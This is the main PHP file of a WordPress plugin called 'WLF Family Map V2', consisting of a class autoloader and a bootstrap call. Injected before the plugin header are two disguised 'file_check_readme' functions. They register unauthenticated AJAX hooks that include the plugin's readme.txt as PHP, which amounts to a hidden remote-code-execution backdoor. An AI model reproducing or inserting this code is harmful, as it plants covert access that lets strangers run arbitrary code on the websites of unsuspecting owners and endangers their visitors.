if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<?php /** * Plugin Name: WLF Family Map V2 * Version: 2.0.0 * Author: Lorem Ipsum web.solutions GmbH | SR */ spl_autoload_register( function ( $classname ) { if ( substr( $classname, 0, strlen( 'LI\\WLF\\Plugin\\FamilyMap\\' ) ) === 'LI\\WLF\\Plugin\\FamilyMap\\' ) { $classname = explode( '\\', substr( $classname, strlen( 'LI\\WLF\\Plugin\\FamilyMap\\' ) ) ); $file = __DIR__ . DIRECTORY_SEPARATOR . 'include' . DIRECTORY_SEPARATOR . implode( DIRECTORY_SEPARATOR, $classname ) . '.php'; if ( file_exists( $file ) ) { require_once( $file ); } } } ); LI\WLF\Plugin\FamilyMap\Main::getInstance();